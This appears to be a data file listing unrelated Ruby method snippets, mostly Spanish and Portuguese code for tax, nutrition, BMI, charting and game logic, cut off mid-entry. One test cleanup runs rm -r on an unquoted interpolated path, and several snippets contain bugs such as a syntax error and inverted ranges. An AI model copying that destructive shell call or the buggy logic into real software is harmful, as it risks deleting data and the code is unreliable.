"def salvar_calculados\n self.cif_dolares = fob_dolares.to_f + seguro.to_f + flete_I.to_f + flete_II.to_f + otros_gastos.to_f\n self.cif_bolivianos = 7.07 * cif_dolares.to_f\n self.ga = cif_bolivianos * 0.10\n self.iva = (cif_bolivianos.to_f + ga.to_f) * 0.1494\n self.ice = (cif_bolivianos.to_f + ga.to_f) * 0.18\n self.total_impuestos = ga.to_f + iva.to_f + ice.to_f + diu.to_f\n # otros_1 = ibmetro\n # otros_2 = ibnorca\n self.total_servicios = almacenaje.to_f + senasac.to_f + camara_comercio.to_f + otros_1.to_f + otros_2.to_f + nuestros_servicios.to_f + gastos_tramite.to_f\n \n self.total_despacho = total_impuestos.to_f + total_servicios.to_f\n end",
"def calcular(precio)\n @anterior = get_anterior\n @current = precio\n \tcase self.indicator_type.nombre\n \twhen \"Media Movil 4\"\n \t\tcalcularMedia4\n\t when \"Media Movil 18\"\n\t\t calcularMedia18\n when \"Media Movil 9\"\n calcularMedia9\n when \"MACD\"\n calcularMACD\n\t end\n end",
"def get_eficiencia_diaria\n\t\tcalculate_eficiencia_diaria\n\tend",
"def calculo_valor_energetico\n\t\t\t(@carbohidratos*4) + (@lipidos*9) + (@proteinas*4)\n\t\tend",
"def get_alco\n @_100=((@alco*100)/@peso)\n #@ir_100=(@_100/90)*100\n @porcion=((@alco*@gramos_porciones)/@peso)\n #@ir_porcion=(@porcion/90)*100\n [ @alco , @_100 , 0 , @porcion , 0 ]\n end",
"def calculoComprimento(raio)\n return calculoDiametro(raio) * Math::PI\nend",
"def importancia(t)\n #fórmula para calculo de importancia\n ### quantidade de vizinhos dominados pelo inimigo + funcao impedeConquista\n ### se essa soma for 0, então usa a fórmula: \n ### (distancia do inimigo mais proximo - 10) / 1000 \n \n ###### TODO: verificar como é \"medida\" essa distancia na classe de grafo do pereira #####\n end",
"def create\n @presupuestooo = Presupuestooo.new(presupuestooo_params)\n @calc = (@presupuestooo.cantGuardia * 78505) + (@presupuestooo.cantHora * 6542)\n @calc = @calc * 26\n @presupuestooo.montoMensual = @calc\n respond_to do |format|\n if @presupuestooo.save\n format.html { redirect_to @presupuestooo, notice: 'Presupuesto creado.' }\n format.json { render :show, status: :created, location: @presupuestooo }\n else\n format.html { render :new }\n format.json { render json: @presupuestooo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_energia\n\t\t\t\t@lipidos * 9 + @proteins * 4 + @carbs * 4\n\t\t\tend",
"def precio\n\t\t@precio\n\tend",
"def initialize(nombre,peso,talla,edad,sexo,imc,estados,rccm,rcca) #constructor\n @peso = peso\n @talla = talla\n\t@edad = edad\n\t@sexo = sexo\n\t@nombre = nombre\n\t@imc = imc\n\t@estados = estados\n\t@rccm = rccm\n\t@rcca = rcca\n end",
"def mi_carrera\n\n\tend",
"def fila_final\n @color.avanzar(@color.fila_inicial, 7)\n end",
"def IVA (precio_iva)\n precio_iva.map {|plato, precio| precio * 1.19}\n end",
"def multiplicador_iva\n return 1.0 unless percepcion_iva.present?\n 1 + 0.01 * percepcion_iva\n end",
"def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend",
"def massaCorporalGorda(percentualDeGordura, peso)\n resultado = (peso*percentualDeGordura)/100\nend",
"def initialize (nombre, tipo, importe = 0.0, titulo_propiedad=nil, num_casilla_carcel=1, mazo=nil)\n @nombre = nombre\n @tipo = tipo\n @importe = importe\n @mazo = mazo\n @titulo_propiedad = titulo_propiedad\n @@carcel = num_casilla_carcel\n @sorpresa = nil\n end",
"def calcular()\n lista_nombres=@individuos[0].get_lista_nombres\n lista_nombres.each do |nombre|\n cont=0\n igind=0\n #puts nombre\n for j in [email protected]\n\tglucosa=@individuos[j].get_glucosa.to_f\n #puts glucosa\n aibc=@individuos[j].get_aibc(nombre)\n #puts aibc\n aux=aibc/glucosa*100\n #puts aux\n igind=igind+aux\n\tcont=cont+1\n end\n igind=igind/cont\n #puts igind\n @resultados << nombre + \" \" + igind.round(2).to_s + \"\\n\"\n end\n end",
"def initialize(*args)\n super\n self.estructura = estructura_maxima\n self.escudo = escudo_maximo\n end",
"def grafico_total_por_fecha(params = {})\n if params[:data]\n data = params[:data]\n else\n fecha = params[:fecha]\n data = ParteDiario.total_por_fecha(fecha)\n end\n ret_tipo = params[:return]\n fecha_ini = data.first[:fecha]\n fecha_fin = data.last[:fecha]\n public = \"/informes/#{fecha_fin.strftime(\"%Y/%m\")}\"\n if fecha_ini == fecha_ini.at_beginning_of_month && fecha_fin == fecha_ini.at_end_of_month\n tit = I18n.l fecha_ini, :format => \"%B de %Y\"\n else\n tit = \"(30 días) hasta el #{I18n.l fecha_fin, :format => \"%d de %B de %Y\"}\"\n end\n\n g = Gruff::Line.new(550)\n g.theme = THEME_REPORT\n g.marker_font_size = 14\n g.title_font_size = 20\n g.x_axis_label = \"día\"\n dias = {}\n data.each_index{|i| dias[i] = data[i][:fecha].strftime(\"%d\")}\n g.labels = dias\n # Grafica de GAS\n if params[:tipo] == 'gas'\n g.title = \"Producción de Gas #{tit}\"\n g.y_axis_label = \"Miles Pies cúbcos\"\n img = \"#{public}/gas-total-hasta-#{fecha_ini.strftime(\"%d-%m-%Y\")}.png\"\n g.data(\"GAS\", data.map{|v| v.try(:entregado_gasoducto).to_f})\n #Grafica de liquidos\n else\n g.title = \"Producción de Líquidos #{tit}\"\n g.y_axis_label = \"Barriles (BBL)\"\n img = \"#{public}/liquidos-total-hasta-#{fecha_ini.strftime(\"%d-%m-%Y\")}.png\"\n g.data(\"Petroleo\", data.map{|v| v.try(:petroleo).to_f})\n g.data(\"Condensado\", data.map{|v| v.try(:condensado).to_f})\n g.data(\"Gasolina\", data.map{|v| v.try(:gasolina).to_f})\n g.data(\"Suma Líqudos\", data.map{|v| v.try(:gasolina).to_f + v.try(:condensado).to_f + v.try(:petroleo).to_f})\n end\n \n makedirs(Rails.public_path + public)\n #g.normalize\n #g.minimum_value = \n case ret_tipo\n when 'i'\n g.write(Rails.public_path + img)\n return \"<img src=\\\"#{img}\\\" alt=\\\"Producción gas\\\" />\"\n when 'b'\n g.to_blob(\"PNG\")\n else\n g.write(Rails.public_path + img)\n return \"<img src=\\\"#{img}\\\" alt=\\\"Producción gas\\\" />\"\n end\n \n end",
"def create\n # Se alamacena el calculo en una variable global\n @calculo = Calculo.new(calculo_params)\n # Variables auxiliares en el calculo del tubo\n a = @calculo.diametro_cilindro\n b = @calculo.velocidad_cilindro\n # Arreglo con valores aceptables\n diam_cil = [8.1, 12.16, 20, 25, 32, 40, 50, 63, 80, 100, 125, 140, 160]\n vel_cil = [50, 100, 150, 200, 250, 300, 400, 500, 750, 1000]\n # Hash con los valores de la primer tabla\n total = {[8.1,50]=>0.1, [8.1,100]=>0.1, [8.1,150]=>0.15, [8.1,200]=>0.2, [8.1,250]=>0.25, [8.1,300]=>0.3, [8.1,400]=>0.4, [8.1,500]=>0.5, [8.1,750]=>0.75, [8.1,1000]=>1, \n [12.16,50]=>0.12, [12.16,100]=>0.23, [12.16,150]=>0.36, [12.16,200]=>0.46, [12.16,250]=>0.6, [12.16,300]=>0.72, [12.16,400]=>1, [12.16,500]=>1.2, [12.16,750]=>1.8, [12.16,1000]=>2.4, \n [20,50]=>0.2, [20,100]=>0.4, [20,150]=>0.6, [20,200]=>0.8, [20,250]=>1, [20,300]=>1.2, [20,400]=>1.6, [20,500]=>2, [20,750]=>3, [20,1000]=>4, \n [25,50]=>0.35, [25,100]=>0.67, [25,150]=>1, [25,200]=>1.3, [25,250]=>1.7, [25,300]=>2, [25,400]=>2.7, [25,500]=>3.4, [25,750]=>5, [25,1000]=>6.7, \n [32,50]=>0.55, [32,100]=>1.1, [32,150]=>1.7, [32,200]=>2.2, [32,250]=>2.8, [32,300]=>3.7, [32,400]=>4.4, [32,500]=>5.5, [32,750]=>8.5, [32,1000]=>11, \n [40,50]=>0.85, [40,100]=>1.7, [40,150]=>2.6, [40,200]=>3.4, [40,250]=>4.3, [40,300]=>5, [40,400]=>6.8, [40,500]=>8.5, [40,750]=>12.8, [40,1000]=>17, \n [50,50]=>1.4, [50,100]=>2.7, [50,150]=>4, [50,200]=>5.4, [50,250]=>6.8, [50,300]=>8.1, [50,400]=>10.8, [50,500]=>13.5, [50,750]=>20.3, [50,1000]=>27, \n [63,50]=>2.1, [63,100]=>4.2, [63,150]=>6.3, [63,200]=>8.4, [63,250]=>10.5, [63,300]=>12.6, [63,400]=>16.8, [63,500]=>21, [63,750]=>31.5, [63,1000]=>42, \n [80,50]=>3.4, [80,100]=>6.8, [80,150]=>10.2, [80,200]=>13.6, [80,250]=>17, [80,300]=>20.4, [80,400]=>27.2, [80,500]=>34, [80,750]=>51, [80,1000]=>68, \n [100,50]=>5.4, [100,100]=>10.8, [100,150]=>16.2, [100,200]=>21.6, [100,250]=>27, [100,300]=>32.4, [100,400]=>43.2, [100,500]=>54, [100,750]=>81, [100,1000]=>108, \n [125,50]=>8.4, [125,100]=>16.8, [125,150]=>25.2, [125,200]=>33.6, [125,250]=>42, [125,300]=>50.4, [125,400]=>67.2, [125,500]=>84, [125,750]=>126, [125,1000]=>168, \n [140,50]=>10.6, [140,100]=>21.1, [140,150]=>31.7, [140,200]=>42.2, [140,250]=>52.8, [140,300]=>62, [140,400]=>84.4, [140,500]=>106, [140,750]=>158, [140,1000]=>211, \n [160,50]=>13.8, [160,100]=>27.6, [160,150]=>41.4, [160,200]=>55.2, [160,250]=>69, [160,300]=>82.8, [160,400]=>110, [160,500]=>138, [160,750]=>207, [160,1000]=>276}\n # Hash con sus respectivos valores para el tubo\n tubo = {1.48 => '4 x 2.5', 3.72 => '6 x 4', 6.73 => '8 x 5', 10.00 => '8 x 6', 12.70 => '10 x 6.5', 19.97 => '10 x 7.5', 20.92 => '12 x 8', 29.45 => '12 x 9'}\n\n respond_to do |format|\n if @calculo.save\n # Adaptar a valoreas admitibles\n i = 0\n while i <= diam_cil.size - 1\n if a > diam_cil[-1]\n a = diam_cil[-1]\n break\n elsif a < diam_cil[0]\n a = diam_cil[0]\n break\n elsif a >= diam_cil[i] && a < diam_cil[i+1]\n a = diam_cil[i]\n end\n i += 1\n end\n\n i = 0\n while i <= vel_cil.size - 1\n if b > vel_cil[-1]\n b = vel_cil[-1]\n break\n elsif b < vel_cil[0]\n b = vel_cil[0]\n break\n elsif b >= vel_cil[i] && b < vel_cil[i+1]\n b = vel_cil[i]\n end\n i += 1\n end\n \n # Usando los valores se encuentra el diametro del tubo\n c = total[[a,b]] \n i = 0\n while i <= tubo.keys.size - 1\n if c < tubo.keys[0]\n c = tubo.keys[0]\n break\n elsif c > tubo.keys[-1]\n c = tubo.keys[-1]\n break\n elsif c >= tubo.keys[i] && c < tubo.keys[i+1]\n c = tubo.keys[i]\n end\n i += 1\n end\n @calculo.diametro_cilindro = a\n @calculo.velocidad_cilindro = b\n @calculo.diametro_tubo = tubo[c]\n @calculo.save\n\n format.html { redirect_to @calculo, notice: 'Se realizo el calculo de tuberia correctamente.' }\n format.json { render action: 'show', status: :created, location: @calculo }\n else\n format.html { render action: 'new' }\n format.json { render json: @calculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(peso, talla, edad, sexo, cadera, cintura, factor) \n @peso = peso\n @talla = talla\n @edad = edad\n @sexo = sexo\n @cadera = cadera\n @cintura = cintura\n @factor = factor\n end",
"def valor_energetico\n @proteinas * 4.0 + @carbohidratos * 4.0 + @lipidos * 9.0\n end",
"def cala\n @prueba = \"esto es una variable\"\n end",
"def indice_masa_corporal\n\t\t(peso / (talla * talla) * 10000).round(1)\n\tend",
"def sommaire\n @feuille = Feuille.find(params[:id])\n @mt = MatriceHeures.new(@feuille.debut, @feuille.fin, @feuille.employe_id)\n @ra = RapportActivites.new(@feuille.debut, @feuille.fin, @feuille.employe_id)\n end",
"def valor_calorico\n if eficiencia_energetica() < 670\n return 1\n end\n if eficiencia_energetica() > 830\n return 3\n else\n return 2\n end\n end",
"def initialize(avatar, pais, habilidades, categoria, costo_por_hora, sueldo_anual)\n @avatar = avatar\n @pais = pais\n @habilidades = habilidades\n @categoria = categoria\n @costo_por_hora = costo_por_hora\n @sueldo_anual = sueldo_anual \n end",
"def vitaminasIR\n\t\t((valorEnergeticoKJ.to_f*260)/8400).round(2)\n\tend",
"def porcentaje_graso\n (1.2*calcular_imc)+(0.23*@edad)-(10.8*@sexo)-5.4\n end",
"def diario\n fechas()\n @ejercicios = Ejercicio.find(:all)\n @asientos = Contabilidad.librodiario(params[:fechadesde], params[:fechahasta])\n\n \n end",
"def test_soma_100_200\n\t\tassert_equal(300, Calculadora.new(100,200).soma)\n\tend",
"def valor_energetico\n (@proteinas * 4) + (@glucidos * 4) + (@grasas * 9)\n end",
"def get_saturadas\n @_100=((@saturadas*100)/@peso)\n @ir_100=(@_100/20)*100\n @porcion=((@saturadas*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/20)*100\n\t\t#p \"| #{@saturadas} | #{@_100} | #{@ir_100.round(1)}% | #{@porcion} | #{@ir_porcion.round(1)}% |\"\n [ @saturadas , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end",
"def calculaEstimativaBatimentos(anos)\n estimativaBatimentos = anos * 365 * 24 * 60 * 80\n return estimativaBatimentos\nend",
"def ahorrodinero(año)\n\n i = 0\n final = Array.new \n final1 = Array.new \n final2 = Array.new \n \n\n datos = Valore.where(:año => año)\n \n datos.each do |datos|\n \n \n final[i] = datos.read_attribute(\"es\")\n final1[i] = datos.read_attribute(\"tarifa\")\n final2[i] = final1[i]*final[i]\n \n i = i +1\n \n \n end\n \n return final2\n\n\n\n end",
"def iva\n restaurant_menu.each { |k, v| resultado = iva = 1.19 * v }\n puts resultado\nend",
"def irenergeticoKcalp\n vag=(valorenergeticoKcalp() * 100) / 2000\n vag.round(2)\n end",
"def calculo_de_sueldo(attr={})\r\n retencion = @salario * 0.1\r\n salud = @salario * 0.07\r\n pension = @salario * 0.12\r\n sueldo = @salario - retencion - salud - pension\r\n end",
"def getPrecioVenta\n precio = (cantidadCasasHoteles) *(@precioCompra +@precioEdificar) *@factorRevalorizacion \n return precio\n end",
"def valorenergeticoKcal\n veKJ=(cgrasas * 9) + (cgrasassa * 9) + (grasasmono * 9) + (grasaspoli * 9) + (hcarbono * 4) + (polialcoholes * 2.4) + (almidon * 4) + (fibra * 2) + (proteinas * 4) + (sal * 6)\n veKJ.round(2)\n end",
"def initialize(nombre,proteinas,carbohidratos,lipidos, gei,terreno,cantidad = 1.0)\n\t\t@nombre = nombre\n\t\t@proteinas = proteinas\n\t\t@carbohidratos = carbohidratos\n\t\t@lipidos = lipidos\n\t\t@gei = gei\n\t\t@terreno = terreno\n\n\t\t@valorEnergetico = (@proteinas * 4 ) + (@carbohidratos * 4) + (@lipidos * 9)\n\t\t@cantidad = cantidad #En Kg\n\t\timpactoEnergia = case @valorEnergetico\n\t\t\twhen 0..67 then 1\n\t\t\twhen 670..83 then 2\n\t\t\telse 3\n\t\tend\n\t\timpactoHuellaDeCarbono = case @gei\n\t\t\twhen 0..80 then 1\n\t\t\twhen 80..120 then 2\n\t\t\telse 3\n\t\tend\n\t\t@huellaNutricional = (impactoEnergia + impactoHuellaDeCarbono)/2 \n\tend",
"def aplicar_efecto(objeto_espacial_generador_de_choque, objeto_espacial_receptor_de_choque)\n porcentaje_de_masa_actual = @porcentaje_de_masa\n if(porcentaje_de_masa_actual.to_s.include? \"%\")\n porcentaje_de_masa_actual.gsub!(/%/, \"\")\n end\n objeto_espacial_generador_de_choque.masa = objeto_espacial_generador_de_choque.masa + ((porcentaje_de_masa_actual.to_f/100) * objeto_espacial_receptor_de_choque.masa) \n end",
"def precio_mercado\n @serie.valor_primer_dia('precio')\n end",
"def fila_inicial\n @color.avanzar(@color.fila_inicial)\n end",
"def show\n\t@numero_parcelas = 1 +(@matricula.data_fim_contrato.year * 12 + @matricula.data_fim_contrato.month) - \n\t(@matricula.data_inicio_contrato.year * 12 + @matricula.data_inicio_contrato.month)\n\t\n\tif [email protected]?\n\t\t@calcular_valor_total = @matricula.turma.curso.valor.to_f * @numero_parcelas\n\t\t@calcular_valor_total = @matricula.turma.curso.valor.to_f * @numero_parcelas\n\t\t@valor_total = Money.new(@calcular_valor_total*100, \"BRL\").format\n\t\t@valor_parcela = Money.new(@matricula.turma.curso.valor.to_f*100, \"BRL\").format\n\t\t@responsavel = (@matricula.aluno.responsavel == nil) ? (@matricula.aluno) : (@matricula.aluno.responsavel)\n\tend\n\n\t\n end",
"def vCalorico\n\t\tcalc = Calculadora.new\n\t\tvalCal = 0\t\t\n\t\[email protected] do |alimento|\n\t\t\tvalCal += calc.valorKiloCalorico(alimento)\n\t\tend\n\t\treturn valCal.round(2)\n\tend",
"def calculo_imc_params\n params.require(:calculo_imc).permit(:altura, :peso, :aluno_id)\n end",
"def cobroViaje(tipoViaje, numPersonas, distancia)\n cobro = 0.0\n if (tipoViaje == \"Distrital\")\n if (numPersonas >= 1 && numPersonas <= 5 && distancia%10 == 0)\n cobro = 0.60 * distancia/10\n elsif (numPersonas >= 1 && numPersonas <= 5 && distancia%10 != 0)\n cobro = 0.60 * distancia/10 + 0.60\n elsif (numPersonas >= 6 && numPersonas <= 10 && distancia%10 == 0)\n cobro = 0.75 * distancia/10\n elsif (numPersonas >= 6 && numPersonas <= 10 && distancia%10 != 0)\n cobro = 0.75 * distancia/10 + 0.75\n end\n elsif (tipoViaje == \"Provincial\")\n if (numPersonas >= 1 && numPersonas <= 5 && distancia%10 == 0)\n cobro = 0.95 * distancia/10\n elsif (numPersonas >= 1 && numPersonas <= 5 && distancia%10 != 0)\n cobro = 0.95 * distancia/10 + 0.95\n elsif (numPersonas >= 6 && numPersonas <= 10 && distancia%10 == 0)\n cobro = 1.25 * distancia/10\n elsif (numPersonas >= 6 && numPersonas <= 10 && distancia%10 != 0)\n cobro = 1.25 * distancia/10 + 1.25\n end\n elsif (tipoViaje == \"Departamental\")\n if (numPersonas >= 1 && numPersonas <= 5 && distancia%10 == 0)\n cobro = 1.95 * distancia/10\n elsif (numPersonas >= 1 && numPersonas <= 5 && distancia%10 != 0)\n cobro = 1.95 * distancia/10 + 1.95\n elsif (numPersonas >= 6 && numPersonas <= 10 && distancia%10 == 0)\n cobro = 2.25 * distancia/10\n elsif (numPersonas >= 6 && numPersonas <= 10 && distancia%10 != 0)\n cobro = 2.25 * distancia/10 + 2.25\n end \n end\n return cobro\nend",
"def por_prote\n\t\t\t(@proteinas/suma_gramos)*100\n\t\tend",
"def realizar_cuestionario\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario Tipo Frustraciones\"\n end",
"def ponderado(pesos)\n @promedio = @p.zip(pesos).inject(0) do |suma, coordenada, peso| {suma+coordenada*peso }\n end\nend",
"def get_energia_lipidos\n\t\t\t\t@lipidos * 9\n\t\t\tend",
"def get_fibra\n @_100=((@fibra*100)/@peso)\n #@ir_100=(@_100/90)*100\n @porcion=((@fibra*@gramos_porciones)/@peso)\n #@ir_porcion=(@porcion/90)*100\n [ @fibra , @_100 , 0 , @porcion , 0 ]\n end",
"def ir_proteina\n @ir_proteina = (@proteinas/50.to_f)*100\n @ir_proteina.round(1)\n end",
"def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend",
"def huella_nutricional\n (valor_calorico() + huella_carbono()) / 2\n end",
"def irvitaminasp\n vag=(valorvityminp * 100) / 50\n vag.round(2)\n end",
"def initialize( indiceTypeJeu, charge, pseudo, cheminMap, inc, start, hypo, nbHypo )\n\t\t# Tableau pour gerer les couleurs des hypotheses\n\t\t@tabCase = [\"../images/cases/noir.png\", \"../images/cases/violet.png\", \"../images/cases/bleu.png\", \"../images/cases/rouge.png\"]\n\t\t@tabCaseOver = [\"../images/cases/noirOver.png\", \"../images/cases/violetOver.png\", \"../images/cases/bleuOver.png\", \"../images/cases/rougeOver.png\"]\n\t\t@inc = inc\n\t\t@start = start\n\t\t@cheminMap = cheminMap\n\t\t@pseudo = pseudo\n @save_flag=true\n\t\t@indiceTypeJeu = indiceTypeJeu\n\t\t@flagHypo=false\n\t\t@labelGitan=false\n @os = RbConfig::CONFIG['host_os']\n\t\tif charge == 0 then\n\t\t\t@nbHypo = 0\n\t\t\t@map = Map.create(cheminMap)\n\t\t\t@hypo = Hypothese.creer(@map)\n\t\telsif charge == 1\n\t\t\t@nbHypo = nbHypo\n\t\t\t@hypo = hypo\n\t\t\t#Réactualisation de la map en fonction de l'hypothese\n\t\t\t@map = @hypo.faireHypothese()\n\t\t\t@map = @hypo.validerHypothese()\n\t\tend\n\n\t\t@tabFaireHypo = [\"../images/boutons/hypo/faireNoir.png\",\"../images/boutons/hypo/faireViolet.png\",\"../images/boutons/hypo/faireBleu.png\",\"../images/boutons/hypo/faireRouge.png\"]\n\t\t@tabFaireHypoOver = [\"../images/boutons/hypo/faireNoirOver.png\",\"../images/boutons/hypo/faireVioletOver.png\",\"../images/boutons/hypo/faireBleuOver.png\",\"../images/boutons/hypo/faireRougeOver.png\"]\n\t\t@tabValiderHypo = [\"../images/boutons/hypo/validerNoir.png\",\"../images/boutons/hypo/validerViolet.png\",\"../images/boutons/hypo/validerBleu.png\",\"../images/boutons/hypo/validerRouge.png\"]\n\t\t@tabValiderHypoOver = [\"../images/boutons/hypo/validerNoirOver.png\",\"../images/boutons/hypo/validerVioletOver.png\",\"../images/boutons/hypo/validerBleuOver.png\",\"../images/boutons/hypo/validerRougeOver.png\"]\n\t\t@tabRejeterHypo = [\"../images/boutons/hypo/rejeterNoir.png\",\"../images/boutons/hypo/rejeterViolet.png\",\"../images/boutons/hypo/rejeterBleu.png\",\"../images/boutons/hypo/rejeterRouge.png\"]\n\t\t@tabRejeterHypoOver = [\"../images/boutons/hypo/rejeterNoirOver.png\",\"../images/boutons/hypo/rejeterVioletOver.png\",\"../images/boutons/hypo/rejeterBleuOver.png\",\"../images/boutons/hypo/rejeterRougeOver.png\"]\n\n\t\tinitTimer()\n\t\tlancerGrille()\n end",
"def apport_calorique(repas)\n @calrep = 0\n #on fait la somme des calories acquises ce jour\n repas.each do |r|\n @calrep += r.calories\n end\n @calrep.round\n end",
"def pagoPizza(tamanio,sabor)\n precio = 0.0\n if(tamanio == \"familiar\")\n if (sabor == \"americana\")\n precio = 39.99\n elsif (sabor == \"hawaiana\")\n precio = 42.50\n elsif (sabor == \"alemana\")\n precio = 48.50\n end\n elsif (tamanio == \"personal\")\n if (sabor == \"americana\")\n precio = 14.00\n elsif (sabor == \"hawaiana\")\n precio = 15.50\n elsif (sabor == \"alemana\")\n precio = 17.50\n end\n end\nend",
"def irenergeticoKcal\n vag=(valorenergeticoKcal() * 100) / 2000\n vag.round(2)\n end",
"def initialize(titulo, preco, ano_lancamento, possui_reimpressao)\n @titulo = titulo\n @ano_lancamento = ano_lancamento\n @possui_reimpressao = possui_reimpressao\n @preco = calcula_preco(preco)\n end",
"def initialize(nomee, idadee, alturaa, pesoo)\n \t@nome = nomee\n \t@idade = idadee\n \t@altura = alturaa\n \t@peso = pesoo\n end",
"def set_pessoa_fisica\n @pessoa_fisica = PessoaFisica.find(params[:id])\n\n rescue\n head 404\n end",
"def test_cruzado_datos\n Metodos.refresh()\n #point\n w_=Metodos.nuevo(0,\"point\")\n h_=Metodos.nuevo(0,\"point\")\n wP_=Metodos.nuevo(0,\"point\")\n hP_=Metodos.nuevo(216,\"mm\")\n nX=Metodos.nuevo(2,nil)\n nY=Metodos.nuevo(1,nil)\n nPaginas=\"\"\n nPliegos=\"\"\n cuadernillos=false\n #\n esperados=[]\n esperados.push(Clases::Mensaje.new(1))#h real\n esperados.push(Clases::Mensaje.new(2))#wP calculado\n esperados.push(Clases::Mensaje.new(11))#h calculado\n esperados.push(Clases::Mensaje.new(5))#todas pdf\n esperados.push(Clases::Mensaje.new(7))#no impares\n esperados.push(Clases::Mensaje.new(6))#pliegos\n esperados.push(Clases::Mensaje.new(8))#MensajeVars\n esperados.push(Clases::Mensaje.new(9))#tiempo cut&Stack\n #\n respuestas=[]\n respuestas.push([Clases::PreguntaEscalado.new(\"verticalmente\"),true])#id:2\n #\n resultado=nUp(w_,h_,wP_,hP_,nX,nY,nPaginas,nPliegos,cuadernillos,esperados,nil,respuestas)\n assert(resultado.yn,resultado.msg)\n ensure\n #limpio todo, aunque se caiga\n if File.dirname($temp)!=nil then\n `rm -r #{File.dirname($temp)}`\n end\n end",
"def prox()\n\n # Aumenta la frecuencia de acuerdo a la jugada actual del oponente\n if @oponente.getActual().is_a?(Piedra)\n @contadores[:Piedra] = @contadores[:Piedra] + 1\n elsif @oponente.getActual().is_a?(Papel)\n @contadores[:Papel] = @contadores[:Papel] + 1\n elsif @oponente.getActual().is_a?(Tijera)\n @contadores[:Tijera] = @contadores[:Tijera] + 1\n elsif @oponente.getActual().is_a?(Lagarto)\n @contadores[:Lagarto] = @contadores[:Lagarto] + 1\n elsif @oponente.getActual().is_a?(Spock)\n @contadores[:Spock] = @contadores[:Spock] + 1\n end\n\n # Crea una lista con las frecuencias acumuladas\n suma = 0\n acumulado = []\n @contadores.each do |jugada, repeticion|\n suma = suma + repeticion\n acumulado.push(suma)\n end\n\n # Elige un numero al azar entre 0 y la frecuencia total menos uno\n index = $random.rand(0..suma)\n \n # De acuerdo al numero elegido al azar selecciona una jugada\n if index.between?(0, acumulado[0])\n @proxima = Piedra.new()\n elsif index.between?(acumulado[0], acumulado[1])\n @proxima = Papel.new()\n elsif index.between?(acumulado[1], acumulado[2])\n @proxima = Tijera.new()\n elsif index.between?(acumulado[2], acumulado[3])\n @proxima = Lagarto.new()\n elsif index.between?(acumulado[3], acumulado[4])\n @proxima = Spock.new()\n end\n\n return @proxima\n end",
"def realizar_grafico_gas()\n @tipo = \"gas\"\n data = ParteDiario.produccion_mensual_gas(@fecha)\n g = self.init_graph(\"Producción de Gas en #{I18n.l(@fecha, :format => \"%B %Y\")}\")\n fecha_ini = @fecha.beginning_of_month\n fecha_fin = @fecha.end_of_month\n dias = {}\n contador = 0\n while fecha_ini < fecha_fin\n dias[contador] = fecha_ini.strftime(\"%d\")\n contador += 1\n fecha_ini += 1.day\n end\n g.labels = dias\n g.data(\"Producción Bruta\", data.collect{|d| d.try(:produccion).to_f})\n g.data(\"Entregado a Gasoducto\", data.collect{|d| d.try(:entregado).to_f})\n g.write(Rails.public_path + \"/informes/#{@tipo}-#{@fecha.to_date.to_s(:db)}.png\")\n end",
"def grasaIR\n\t\t((valorEnergeticoKJ.to_f*70)/8400).round(2)\n\tend",
"def initialize(peso, talla, edad, sexo, ccintura, ccadera)\n\t\t@peso = Float(peso)\n\t\t@talla = Float(talla)\n\t\t@edad = edad\n\t\t@sexo = sexo\n\t\t@ccintura = Float(ccintura)\n\t\t@ccadera = Float(ccadera)\n\tend",
"def simplificar (fraccion)\n mcd = gcd(fraccion.numerador, fraccion.denominador)\n Fraccion.new( fraccion.numerador/mcd , fraccion.denominador/mcd)\n \n \n end",
"def comer\r\n # @image = Image[\"pez2.png\"]\r\n # Al comer, un pez tendrá x segundos mas de vida, y queda libre para buscar mas comida\r\n @vida_inicio += 2\r\n @libre = true\r\n end",
"def calcularArea(raio)\n return Math::PI * raio**2\nend",
"def test\n \n puts \"Test de prueba del programa\"\n puts \"---------------------------\"\n puts calcularValorTotalPagar(\"Sedan\",true,false)\n puts calcularValorTotalPagar(\"4x4\",false,true)\n puts calcularValorTotalPagar(\"Van\",true,true)\n puts calcularValorTotalPagar(\"Camioneta\",false,false)\n puts \" \"\n \nend",
"def setear_fijos_arbol\n # @incisos = Inciso.all\n # @partidas_principales = PartidaPrincipal.all\n # @partidas_parciales = PartidaParcial.all \n @clases = Clase.where(\"fecha_de_baja IS NULL\")\n @bienes_de_consumo = BienDeConsumo.where(\"fecha_de_baja IS NULL\")\n end",
"def grasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * ( sexo ? 1 : 0) - 5.4\n\tend",
"def set_pieza_fichatecnica\n @fichatecnica = Fichatecnica.find(params[:fichatecnica_id])\n @pieza_fichatecnica = PiezaFichatecnica.find(params[:id]) if params[:id]\n end",
"def pantallaJuego\n\t\[email protected]\n\t\[email protected] \"fondo.jpg\"\n\n\t\t# Inicializar estrategias y crear partida\n\n\t\tpiedra = Piedra.new (\"piedra\")\n\t\tpapel = Papel.new (\"papel\")\n\t\ttijeras = Tijeras.new (\"tijeras\")\n\t\tlagarto = Lagarto.new (\"lagarto\")\n\t\tspock = Spock.new (\"spock\")\n\t\tpesos = Hash[piedra => 2, papel => 5, tijeras => 4, lagarto => 3, spock => 1]\n\n\n\t\tif @s1 == \"uniforme\"\n\t\t\t@j1 = Uniforme.new \"1\", \"uniforme\", [piedra, papel, tijeras, lagarto, spock]\n\t\telsif @s1 == \"sesgada\"\n\t\t\t@j1 = Sesgada.new \"1\", \"sesgada\", pesos\n\t\telsif @s1 == \"manual\"\n\t\t\t@j1 = Manual.new \"1\", \"manual\"\n\t\telsif @s1 == \"copiar\"\n\t\t\t@j1 = Copiar.new \"1\", \"copiar\"\n\t\telsif @s1 == \"pensar\"\n\t\t\t@j1 = Pensar.new \"1\", \"pensar\"\n\t\tend\n\t\t\t\n\t\tif @s2 == \"uniforme\"\n\t\t\t@j2 = Uniforme.new \"2\", \"uniforme\", [piedra, papel, tijeras, lagarto, spock]\n\t\telsif @s2 == \"sesgada\"\n\t\t\t@j2 = Sesgada.new \"2\", \"sesgada\", pesos\n\t\telsif @s2 == \"manual\"\n\t\t\t@j2 = Manual.new \"2\", \"manual\"\n\t\telsif @s2 == \"copiar\"\n\t\t\t@j2 = Copiar.new \"2\", \"copiar\"\n\t\telsif @s2 == \"pensar\"\n\t\t\t@j2 = 